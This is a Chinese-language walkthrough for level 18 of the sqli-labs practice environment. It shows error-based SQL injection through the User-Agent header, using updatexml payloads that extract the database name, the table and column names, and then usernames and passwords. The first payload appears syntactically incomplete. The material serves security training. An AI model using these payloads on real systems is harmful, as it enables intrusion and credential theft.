SQL注入:sqli-labs靶场less18 POST-Hearder Injection-Uagent filed-Error based通关攻略
·
1.判断注入方法
基于题目可得该关为ua头部注入,判断可以使用什么注入方法。由下图可得有报错信息尝试报错注入。

2.判断闭合方式为 1' and '

3.构造语句得数据库名
-1'and updatexml(1,concat(1,database()) and '

4.构造语句查询表名
1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and'

5.构造语句查询字段名
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and'

6.构造语句查询具体内容
//select 列名 from 表名
1' and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1) and'

更多推荐

所有评论(0)